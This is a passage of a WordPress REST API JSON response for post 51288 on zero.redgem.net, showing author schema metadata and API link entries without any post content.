redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51288","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=51288"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/51288\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=51288"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=51288"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=51288"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}